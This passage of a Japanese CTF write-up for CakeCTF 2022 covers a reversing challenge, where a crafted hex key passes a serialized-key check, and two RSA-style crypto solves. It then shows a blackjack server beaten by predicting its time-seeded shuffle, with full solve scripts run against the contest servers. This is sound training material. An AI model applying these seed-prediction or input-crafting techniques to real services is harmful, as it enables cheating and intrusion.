struct EncryptionKey { uint32_t flag; uint32_t padding?; Array<unsigned_char> key; uint32_t padding?; uint32_t magic; };
また、Array<unsiend_char>
は配列のポインタとサイズの情報だけを持つシンプルな構造体です。
struct Array<unsigned_char> { uchar* ptr; uint size; };
これらの構造体を踏まえて、解析を進めていきます。
フラグを読み込む部分は重要ではないので、keyの入力部から見ていきます。
undefined8 readKey(ByteBuffer *param_1) { char cVar1; bool bVar2; back_insert_iterator bVar3; uchar *puVar4; undefined8 uVar5; long in_FS_OFFSET; undefined8 local_80; undefined8 local_78; vector<unsigned_char,std::allocator<unsigned_char>> *local_70; vector<unsigned_char,std::allocator<unsigned_char>> local_68 [32]; basic_string local_48 [40]; long local_20; local_20 = *(long *)(in_FS_OFFSET + 0x28); std::vector<unsigned_char,std::allocator<unsigned_char>>::vector(local_68); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(); /* try { // try from 00106274 to 00106297 has its CatchHandler @ 00106383 */ std::operator<<((basic_ostream *)std::cout,"Enter key: "); std::operator>>((basic_istream *)std::cin,local_48); cVar1 = std::basic_ios<char,std::char_traits<char>>::good(); if (cVar1 == '\x01') { /* try { // try from 001062b0 to 001062c6 has its CatchHandler @ 0010636b */ bVar3 = std::back_inserter<std::vector<unsigned_char,std::allocator<unsigned_char>>> ((vector *)local_68); boost::algorithm:: unhex<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>,std::back_insert_iterator<std::vector<unsigned_char,std::allocator<unsigned_char>>>> (local_48,bVar3); local_70 = local_68; local_80 = std::vector<unsigned_char,std::allocator<unsigned_char>>::begin(local_70); local_78 = std::vector<unsigned_char,std::allocator<unsigned_char>>::end(local_70); while( true ) { bVar2 = __gnu_cxx::operator!=((__normal_iterator *)&local_80,(__normal_iterator *)&local_78); if (bVar2 == false) break; puVar4 = (uchar *)__gnu_cxx:: __normal_iterator<unsigned_char*,std::vector<unsigned_char,std::allocator<unsigned_char>>> ::operator*((__normal_iterator<unsigned_char*,std::vector<unsigned_char,std::allocator<unsigned_char>>> *)&local_80); /* try { // try from 00106328 to 00106380 has its CatchHandler @ 00106383 */ kiwi::ByteBuffer::writeByte(param_1,*puVar4); __gnu_cxx:: __normal_iterator<unsigned_char*,std::vector<unsigned_char,std::allocator<unsigned_char>>>:: operator++((__normal_iterator<unsigned_char*,std::vector<unsigned_char,std::allocator<unsigned_char>>> *)&local_80); } uVar5 = 0; } else { uVar5 = 1; } std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string ((basic_string<char,std::char_traits<char>,std::allocator<char>> *)local_48); std::vector<unsigned_char,std::allocator<unsigned_char>>::~vector(local_68); if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return uVar5; }
この関数の中で、次の2つの部分に注目します。
std::operator<<((basic_ostream *)std::cout,"Enter key: "); std::operator>>((basic_istream *)std::cin,local_48);
boost::algorithm:: unhex<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>,std::back_insert_iterator<std::vector<unsigned_char,std::allocator<unsigned_char>>>> (local_48,bVar3);
std::operator>>((basic_istream *)std::cin,local_48)
やboost::algorithm::unhex
などが見えるので、入力された16進数文字列をバイト列に変換する処理を行っている関数だと推測できます。バイト列に変換した結果は第一引数で与えられたバッファに書き込まれます。また、このバッファはdecode関数の第一引数に与えられます。
次に、EncryptionKeyのデコード部を見ていきます。
undefined8 __thiscall cakectf::EncryptionKey::decode (EncryptionKey *this,ByteBuffer *param_1,MemoryPool *param_2,BinarySchema *param_3) { bool bVar1; char cVar2; undefined8 uVar3; long in_FS_OFFSET; uint local_38; uint local_34; uchar *local_30; Array<unsigned_char> *local_28; uchar *local_20; uchar *local_18; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); LAB_00105fd5: do { while( true ) { cVar2 = kiwi::ByteBuffer::readVarUint(param_1,&local_34); if (cVar2 != '\x01') { uVar3 = 0; goto LAB_00106145; } if (local_34 != 2) break; cVar2 = kiwi::ByteBuffer::readVarUint(param_1,&local_38); if (cVar2 != '\x01') { uVar3 = 0; goto LAB_00106145; } local_28 = (Array<unsigned_char> *)set_key(this,param_2,local_38); local_30 = (uchar *)kiwi::Array<unsigned_char>::begin(local_28); local_20 = (uchar *)kiwi::Array<unsigned_char>::end(local_28); for (; local_30 != local_20; local_30 = local_30 + 1) { local_18 = local_30; cVar2 = kiwi::ByteBuffer::readByte(param_1,local_30); if (cVar2 != '\x01') { uVar3 = 0; goto LAB_00106145; } } } if (local_34 < 3) { if (local_34 == 0) { uVar3 = 1; goto LAB_00106145; } if (local_34 == 1) { cVar2 = kiwi::ByteBuffer::readVarUint(param_1,(uint *)(this + 0x18)); if (cVar2 != '\x01') { uVar3 = 0; goto LAB_00106145; } set_magic(this,(uint *)(this + 0x18)); goto LAB_00105fd5; } } if ((param_3 == (BinarySchema *)0x0) || (cVar2 = BinarySchema::skipEncryptionKeyField(param_3,param_1,local_34), cVar2 != '\x01')) { bVar1 = true; } else { bVar1 = false; } if (bVar1) { uVar3 = 0; LAB_00106145: if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) { return uVar3; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); } } while( true ); }
この関数は、readKey
で読み込んだデータをデコードし、第一引数のEncryptionKey
に結果を格納していきます。この関数は大まかに分けると、モード読み込み部、key読み込み部、magic読み込み部の3つの部分にわけられます。
モード読み込み部から順に読み進めていきます。
cVar2 = kiwi::ByteBuffer::readVarUint(param_1,&local_34); if (cVar2 != '\x01') { uVar3 = 0; goto LAB_00106145; }
ByteBuffer::readVarUint
はPythonで書き直すと、次のようになります。
def readVarUint(buffer, ret): i = 0 while True: x = buffer.read(1) if len(x) == 0: return 0 ret = ret | ((x & 0x7f) << i) i = i + 7 if x < 0x80 or i > 0x23: break return 1
readKeyでデータを書き込んだバッファから1byteずつ読みだしていき、7bit分だけ取り出して結合していきます。読みだしたデータが0x80より小さい場合、読み出しを中止するので注意が必要です。
モード読み込み部では、この関数を使ってlocal_34に値を読み込んでいます。このlocal_34によって、この後の処理が変わるのでモードと呼びました。
モード読み込み部の次は、key読み込み部を読み進めていきます。
if (local_34 != 2) break; cVar2 = kiwi::ByteBuffer::readVarUint(param_1,&local_38); if (cVar2 != '\x01') { uVar3 = 0; goto LAB_00106145; } local_28 = (Array<unsigned_char> *)set_key(this,param_2,local_38); local_30 = (uchar *)kiwi::Array<unsigned_char>::begin(local_28); local_20 = (uchar *)kiwi::Array<unsigned_char>::end(local_28); for (; local_30 != local_20; local_30 = local_30 + 1) { local_18 = local_30; cVar2 = kiwi::ByteBuffer::readByte(param_1,local_30); if (cVar2 != '\x01') { uVar3 = 0; goto LAB_00106145; } }
keyの読み込みはlocal_34が2の時にのみ行われます。local_34が2出ない場合、magic読み出し部に遷移します。この部分では、ByteBuffer::readVarUint
でlocal_38にデータを読み出し、その値をset_key
に渡しています。
EncryptionKey * __thiscall cakectf::EncryptionKey::set_key(EncryptionKey *this,MemoryPool *param_1,uint param_2) { long lVar1; Array AVar2; undefined7 extraout_var; undefined4 extraout_EDX; long in_FS_OFFSET; lVar1 = *(long *)(in_FS_OFFSET + 0x28); *(uint *)this = *(uint *)this | 2; AVar2 = kiwi::MemoryPool::array<unsigned_char>(param_1,param_2); *(ulong *)(this + 8) = CONCAT71(extraout_var,AVar2); *(undefined4 *)(this + 0x10) = extraout_EDX; if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return this + 8; }
set_key
は、第一引数で渡されたEncryptionKey
にkey
の情報を設定を行うための関数です。keyをセットしたことを表すフラグを立てて、keyを格納するためのメモリを確保します。keyの長さは第三引数で与えられます。つまり、先ほど出てきたlocal_38がkeyの長さとなります。
set_key
の実行が終わると、実際にByteBuffer
からkeyの長さだけデータの読み込みを行います。
次に、magic読み込み部を読み進めていきます。
if (local_34 < 3) { if (local_34 == 0) { uVar3 = 1; goto LAB_00106145; } if (local_34 == 1) { cVar2 = kiwi::ByteBuffer::readVarUint(param_1,(uint *)(this + 0x18)); if (cVar2 != '\x01') { uVar3 = 0; goto LAB_00106145; } set_magic(this,(uint *)(this + 0x18)); goto LAB_00105fd5; } }
magicの読み込みはlocal_34が1の時にのみ行われます。set_magic
は第一引数で与えられたEncryptionKey
のフラグにmagicがセットされたことを表すビットを追加する関数です。
また、local_34を0にすると、デコード関数を抜けることができます。
keyのデコードを行う処理を一通り読み終えたので、次にデコード結果のチェックを行う部分を読んでいきます。
undefined8 checkMessage(EncryptionKey *param_1) { uint uVar1; long lVar2; undefined8 uVar3; int *piVar4; Array<unsigned_char> *this; lVar2 = cakectf::EncryptionKey::magic(param_1); if (lVar2 == 0) { uVar3 = 1; } else { piVar4 = (int *)cakectf::EncryptionKey::magic(param_1); if (*piVar4 == -0x35013b0d) { lVar2 = cakectf::EncryptionKey::key(param_1); if (lVar2 == 0) { uVar3 = 1; } else { this = (Array<unsigned_char> *)cakectf::EncryptionKey::key(param_1); uVar1 = kiwi::Array<unsigned_char>::size(this); if (uVar1 < 8) { uVar3 = 1; } else { uVar3 = 0; } } } else { uVar3 = 1; } } return uVar3; }
この関数では、次の4項目をチェックしています。
- EncryptionKeyにmagicが設定されているか
EncryptionKey->magic
の値が0xcafec4f3
になっているか- EncryptionKeyにkeyが設定されている
EncryptionKey->key
の長さが8以上か
これら全てを満たしていないと、Invalid key
と表示されてしまいます。
デコード部の解析結果と満たさなければならない条件を合わせると、readKeyに次のような文字列を渡せばよいことが分かります。
0208414141414141414101f389fbd78c00
文字 | 意味 |
---|---|
02 |
keyの設定 |
08 |
keyの長さは8 |
4141414141414141 |
keyはAAAAAAAA |
01 |
magicの設定 |
f389fbd78c |
magicはcafec4f3 |
長かったですが、最後にフラグを暗号化する部分を見ていきます。
basic_string * encryptFlag(basic_string *param_1,Array *param_2) { char cVar1; uint uVar2; ulong uVar3; char *pcVar4; long lVar5; Array<unsigned_char> *in_RDX; long in_FS_OFFSET; ulong local_30; ulong local_28; long local_20; local_20 = *(long *)(in_FS_OFFSET + 0x28); std::vector<unsigned_char,std::allocator<unsigned_char>>::vector ((vector<unsigned_char,std::allocator<unsigned_char>> *)param_1); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::size(); /* try { // try from 0010649e to 00106536 has its CatchHandler @ 00106541 */ std::vector<unsigned_char,std::allocator<unsigned_char>>::reserve((ulong)param_1); local_28 = 0; while( true ) { uVar3 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::size(); if (uVar3 <= local_28) break; pcVar4 = (char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>:: operator[]((ulong)param_2); cVar1 = *pcVar4; lVar5 = kiwi::Array<unsigned_char>::data(in_RDX); uVar2 = kiwi::Array<unsigned_char>::size(in_RDX); local_30 = (long)(int)((((uint)*(byte *)(local_28 % (ulong)uVar2 + lVar5) ^ (int)cVar1) & 0xff | (uint)(uint3)(cVar1 >> 7) << 8) ^ 0xff) ^ local_28; std::vector<unsigned_char,std::allocator<unsigned_char>>::emplace_back<unsigned_long> ((vector<unsigned_char,std::allocator<unsigned_char>> *)param_1,&local_30); local_28 = local_28 + 1; } if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return param_1; }
この関数は、呼び出し元では第三引数まで与えているのですが、関数の内部では第二引数までしか表示されていません。そのため、Edit function signature
で第三引数を追加してやります。
basic_string * encryptFlag(basic_string *param_1,Array *param_2,Array *key) { char cVar1; uint uVar2; ulong uVar3; char *pcVar4; long lVar5; long in_FS_OFFSET; ulong local_30; ulong local_28; long local_20; local_20 = *(long *)(in_FS_OFFSET + 0x28); std::vector<unsigned_char,std::allocator<unsigned_char>>::vector ((vector<unsigned_char,std::allocator<unsigned_char>> *)param_1); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::size(); /* try { // try from 0010649e to 00106536 has its CatchHandler @ 00106541 */ std::vector<unsigned_char,std::allocator<unsigned_char>>::reserve((ulong)param_1); local_28 = 0; while( true ) { uVar3 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::size(); if (uVar3 <= local_28) break; pcVar4 = (char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>:: operator[]((ulong)param_2); cVar1 = *pcVar4; lVar5 = kiwi::Array<unsigned_char>::data((Array<unsigned_char> *)key); uVar2 = kiwi::Array<unsigned_char>::size((Array<unsigned_char> *)key); local_30 = (long)(int)((((uint)*(byte *)(local_28 % (ulong)uVar2 + lVar5) ^ (int)cVar1) & 0xff | (uint)(uint3)(cVar1 >> 7) << 8) ^ 0xff) ^ local_28; std::vector<unsigned_char,std::allocator<unsigned_char>>::emplace_back<unsigned_long> ((vector<unsigned_char,std::allocator<unsigned_char>> *)param_1,&local_30); local_28 = local_28 + 1; } if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return param_1; }
引数を表示するとin_RDX
となっていた部分が、正しく表示されるようになりました。
local_30 = (long)(int)((((uint)*(byte *)(local_28 % (ulong)uVar2 + lVar5) ^ (int)cVar1) & 0xff | (uint)(uint3)(cVar1 >> 7) << 8) ^ 0xff) ^ local_28;
この部分で暗号化しているように見えます。変数名や型をうまい感じに変更すると、次に示すようになります。
local_30 = (long)(int)((((uint)key_ptr[i % (ulong)key_len] ^ (int)plain_i) & 0xff | (uint)(uint3)(plain_i >> 7) << 8) ^ 0xff) ^ i;
さらに、この処理をPythonで書き直すと次のようになります。
enc = [] for i, m in enumerate(flag): e = ((key[i % len(i)] ^ m) | ((m >> 7) << 8)) ^ 0xff ^ i enc.append(e)
これで、keyの設定から暗号化までの全ての処理を読み解くことができました。最後に、サーバーにアクセスして暗号化されたフラグを手に入れます。
$ nc misc.2022.cakectf.com 10044 Enter key: 0208414141414141414101f389fbd78c00 Encrypted flag: fdded7d8f9effec2c184ebdb8180d4eeda9ff3ddd898de9ac8d3fbe2cdccc7cdfbc0faefaaf6c7eae2a3faf1a6e1f4a0f4bee2ead5eefebaf4fef0edb3ede7fc
最後に、暗号化されたフラグを復号して終わりです。
enc = bytes.fromhex("fdded7d8f9effec2c184ebdb8180d4eeda9ff3ddd898de9ac8d3fbe2cdccc7cdfbc0faefaaf6c7eae2a3faf1a6e1f4a0f4bee2ead5eefebaf4fef0edb3ede7fc") key = b"A" * 8 for i in range(len(enc)): x = enc[i] ^ 0xff ^ i print(chr(x ^ key[i % len(key)]), end="")
$ python3 solve.py CakeCTF{w3_n33d_t0_pr3v3nt_Google_fr0m_st4nd4rd1z1ng_ev3ryth1ng}
Crypto
frozen
次式で表すパラメータが与えられます。はフラグです。
\begin{align} n = pq \\ a = m^{p} \mod n \\ b = m^{q} \mod n \\ c = m^{n} \mod n \end{align}
オイラーの定理より、次の式が成り立ちます
\begin{align} m^{\phi(n)} \equiv 1 \mod n \end{align}
また、であるため、となり、次式が成り立ちます。
\begin{align} m^{n-p-q} \equiv m^{-1} \mod n \end{align}
よって、得られたを乗してにかけることで、が求まります。
from Crypto.Util.number import * n = 101205131618457490641888226172378900782027938652382007193297646066245321085334424928920128567827889452079884571045344711457176257019858157287424646000972526730522884040459357134430948940886663606586037466289300864147185085616790054121654786459639161527509024925015109654917697542322418538800304501255357308131 a = 38686943509950033726712042913718602015746270494794620817845630744834821038141855935687477445507431250618882887343417719366326751444481151632966047740583539454488232216388308299503129892656814962238386222995387787074530151173515835774172341113153924268653274210010830431617266231895651198976989796620254642528 b = 83977895709438322981595417453453058400465353471362634652936475655371158094363869813512319678334779139681172477729044378942906546785697439730712057649619691929500952253818768414839548038664187232924265128952392200845425064991075296143440829148415481807496095010301335416711112897000382336725454278461965303477 c = 21459707600930866066419234194792759634183685313775248277484460333960658047171300820279668556014320938220170794027117386852057041210320434076253459389230704653466300429747719579911728990434338588576613885658479123772761552010662234507298817973164062457755456249314287213795660922615911433075228241429771610549 m_inv = c * inverse(a, n) * inverse(b, n) % n flag = c * pow(m_inv, n-1, n) % n print(long_to_bytes(flag))
$ python3 solve.py b'CakeCTF{oh_you_got_a_tepid_cake_sorry}'
brand new crypto
暗号化スクリプトと暗号化されたフラグ、公開鍵が与えられます。
from Crypto.Util.number import getPrime, getRandomRange, inverse, GCD import os flag = os.getenv("FLAG", "FakeCTF{sushi_no_ue_nimo_sunshine}").encode() def keygen(): p = getPrime(512) q = getPrime(512) n = p * q phi = (p-1)*(q-1) while True: a = getRandomRange(0, phi) b = phi + 1 - a s = getRandomRange(0, phi) t = -s*a * inverse(b, phi) % phi if GCD(b, phi) == 1: break return (s, t, n), (a, b, n) def enc(m, k): s, t, n = k r = getRandomRange(0, n) c1, c2 = m * pow(r, s, n) % n, m * pow(r, t, n) % n assert (c1 * inverse(m, n) % n) * inverse(c2 * inverse(m, n) % n, n) % n == pow(r, s - t, n) assert pow(r, s -t ,n) == c1 * inverse(c2, n) % n return m * pow(r, s, n) % n, m * pow(r, t, n) % n def dec(c1, c2, k): a, b, n = k return pow(c1, a, n) * pow(c2, b, n) % n pubkey, privkey = keygen() c = [] for m in flag: c1, c2 = enc(m, pubkey) assert dec(c1, c2, privkey) c.append((c1, c2)) print(pubkey) print(c)
まず初めに、拡張ユークリッドの互除法を用いて、次の式を満たすを求めます。
\begin{align} sx + ty = g \\ g = gcd(s, t) \end{align}
求まったを用いて、を計算します。
\begin{align} c^{x} \cdot c^{y} = m^{x+y} \cdot r^{sx + ty} \end{align}
ここでの関係から、右辺はと書き換えられます。これにをかけることで、が求まります。
はの最大公約数なので、とはどちらも整数になります。よって、を使ってを求めることができ、を再計算できます。を計算する際に使ったが正しくなければ、再計算したが与えられたものと一致しません。
from Crypto.Util.number import * s, t, n = (44457996541109264543284111178082553410419033332933855029363322091957710753242917508747882680709132255025509848204006030686617307316137416397450494573423244830052462483843567537344210991076324207515569278270648840208766149246779012496534431346275624249119115743590926999300158062187114503770514228292645532889, 75622462740705359579857266531198198929612563464817955054875685655358744782391371293388270063132474250597500914288453906887121012643294580694372006205578418907575162795883743494713767823237535100775877335627557578951318120871174260688499833942391274431491217435762560130588830786154386756534628356395133427386, 91233708289497879320704164937114724540200575521246085087047537708894670866471897157920582191400650150220814107207066041052113610311730091821182442842666316994964015355215462897608933791331415549840187109084103453994140639503367448406813551512209985221908363575016455506188206133500417002509674392650575098359) enc = [] def xgcd(a: int, b: int): x0, y0, x1, y1 = 0, 1, 1, 0 while a != 0: q, a, b = b // a, b % a, a x0, x1 = x1, x0 - x1 * q y0, y1 = y1, y0 - y1 * q return b, x0, y0 flag = "" for c1, c2 in enc: for m in range(256): g, x, y = xgcd(s, t) z = pow(c1, x, n) w = pow(c2, y, n) mm = pow(m, -(x+y), n) r_ = mm * z * w % n c1_ = (m * pow(r_, s // g, n)) % n c2_ = (m * pow(r_, t // g, n)) % n if c1_ == c1 and c2_ == c2: flag += chr(m) break print(flag)
Misc
matsushima3
ブラックジャックのサーバとクライアントのプログラムが与えられます。
クライアントを起動すると、次の画面が表示されました。
中身は通常のブラックジャックで、キーボード操作で遊ぶことができます。楽しい。
フラグを手に入れる条件を調べるために、サーバ側のプログラムを見ていきます。
# Special bonus if session['money'] > 999999999999999: flag = os.getenv('FLAG', "CakeCTF{**** REDUCTED ****}") state = 'flag' else: flag = ''
どうやら、所持金が999999999999999より多ければ表示されるようです。所持金は100$からスタートして、ディーラーに勝つと2倍になり負けると0になります。フラグを手に入れるためには50連勝ほどしなければならないので現実的ではありません。
サーバーのソースコードを見ていくと、山札を生成する際のシード値がクライアント側から計算できることがわかりました。
@app.route('/game/new') def game_new(): """Create a new game""" if session['state'] == GameState.IN_PROGRESS: # Player tried to abort game session['state'] = GameState.PLAYER_CHEAT abort(400, "Cheat detected") # Shuffle cards deck = [(i // 13, i % 13) for i in range(4*13)] random.seed(int(time.time()) ^ session['user_id']) random.shuffle(deck) session['deck'] = deck
シード値を与えると、勝利できるか確認できるシミュレーターを作成しました。これで、確実に勝てるタイミングでゲームを開始すれば、いくらでもディーラーに勝つことができます。
import random def calculate_scorecards(cards): """Calculate current total of cards""" num_ace = 0 score = 0 for _, c in cards: if c == 0: num_ace += 1 elif c < 10: score += c + 1 else: score += 10 while num_ace > 0: if 21 - score >= 10 + num_ace: score += 11 else: score += 1 num_ace -= 1 return -1 if score > 21 else score class Simulator: def __init__(self, seed): self.deck = [(i // 13, i % 13) for i in range(4*13)] random.seed(seed) random.shuffle(self.deck) self.player_hand = [] self.dealer_hand = [] for i in range(2): self.player_hand.append(self.deck.pop()) self.dealer_hand.append(self.deck.pop()) self.player_score = calculate_scorecards(self.player_hand) self.dealer_score = calculate_scorecards(self.dealer_hand) self.commands = [] def hit(self): self.player_hand.append(self.deck.pop()) self.player_score = calculate_scorecards(self.player_hand) if calculate_scorecards(self.dealer_hand) <= 16: self.dealer_hand.append(self.deck.pop()) self.dealer_score = calculate_scorecards(self.dealer_hand) def stand(self): dealer_score = calculate_scorecards(self.dealer_hand) while dealer_score <= 16: self.dealer_hand.append(self.deck.pop()) dealer_score = calculate_scorecards(self.dealer_hand) if dealer_score == -1: break self.dealer_score = dealer_score def simulate(self): while True: next_card = self.deck[-1] temp_hand = [*self.player_hand, next_card] if calculate_scorecards(temp_hand) <= 16: action = "hit" self.hit() else: action = "stand" self.stand() self.commands.append(action) if self.player_score == self.dealer_score == -1 or (action == "stand" and self.player_score == self.dealer_score): return False if self.dealer_score == -1: return True if action == "stand" and self.player_score > self.dealer_score: return True if self.player_score == -1: return False if action == "stand" and self.player_score < self.dealer_score: return False
シミュレータを使って無限に勝ち続けるプログラムを作成し、実行するとフラグが手に入りました。
from simulator import Simulator from game import ServerConnection import time conn = ServerConnection("misc.2022.cakectf.com", 10011) user = conn.request("user/new") def exec_game(user): while True: seed = int(time.time() - 3) ^ user["user_id"] sim = Simulator(seed) if not sim.simulate(): continue conn.request("game/new") for command in sim.commands: res = conn.request("game/act", {"action":command}) print(res) time.sleep(1) exec_game(user)
$ python3 solve.py {'daler_action': 'stand', 'dealer_hand': [[2, 5], [1, 6], [3, 0], [2, 8]], 'dealer_score': -1, 'flag': '', 'money': 200, 'num_dealer_cards': 4, 'player_hand': [[2, 11], [3, 12]], 'player_score': 20, 'state': 'win'} {'dealer_action': 'stand', 'dealer_hand': [[3, 12], [3, 2], [2, 9]], 'dealer_score': -1, 'flag': '', 'money': 400, 'num_dealer_cards': 3, 'player_hand': [[0, 11], [0, 0]], 'player_score': 21, 'state': 'win'} {'dealer_action': 'stand', 'dealer_hand': [[1, 5], [1, 2], [2, 4], [1, 12]], 'dealer_score': -1, 'flag': '', 'money': 800, 'num_dealer_cards': 4, 'player_hand': [[3, 11], [3, 2]], 'player_score': 13, 'state': 'win'} {'dealer_action': 'stand', 'dealer_hand': [[2, 11], [0, 5], [2, 8]], 'dealer_score': -1, 'flag': '', 'money': 1600, 'num_dealer_cards': 3, 'player_hand': [[3, 2], [1, 8]], 'player_score': 12, 'state': 'win'} ... {'dealer_action': 'stand', 'dealer_hand': [[0, 8], [1, 0]], 'dealer_score': 20, 'flag': '', 'money': 439804651110400, 'num_dealer_cards': 2, 'player_hand': [[2, 0], [3, 11]], 'player_score': 21, 'state': 'win'} {'dealer_action': 'hit', 'dealer_hand': [[1, 7], [2, 3], [1, 12]], 'dealer_score': -1, 'flag': '', 'money': 879609302220800, 'num_dealer_cards': 3, 'player_hand': [[0, 4], [0, 1], [2, 1]], 'player_score': 9, 'state': 'win'} {'dealer_action': 'stand', 'dealer_hand': [[0, 2], [0, 4], [2, 8]], 'dealer_score': 17, 'flag': '"CakeCTF{INFAMOUS_LOGIC_BUG}"', 'money': 1759218604441600, 'num_dealer_cards': 3, 'player_hand': [[0, 11], [3, 0]], 'player_score': 21, 'state': 'flag'} {'dealer_action': 'hit', 'dealer_hand': [[1, 8], [0, 5], [0, 12]], 'dealer_score': -1, 'flag': '"CakeCTF{INFAMOUS_LOGIC_BUG}"', 'money': 3518437208883200, 'num_dealer_cards': 3, 'player_hand': [[1, 7], [3, 4], [3, 0]], 'player_score': 14, 'state': 'flag'}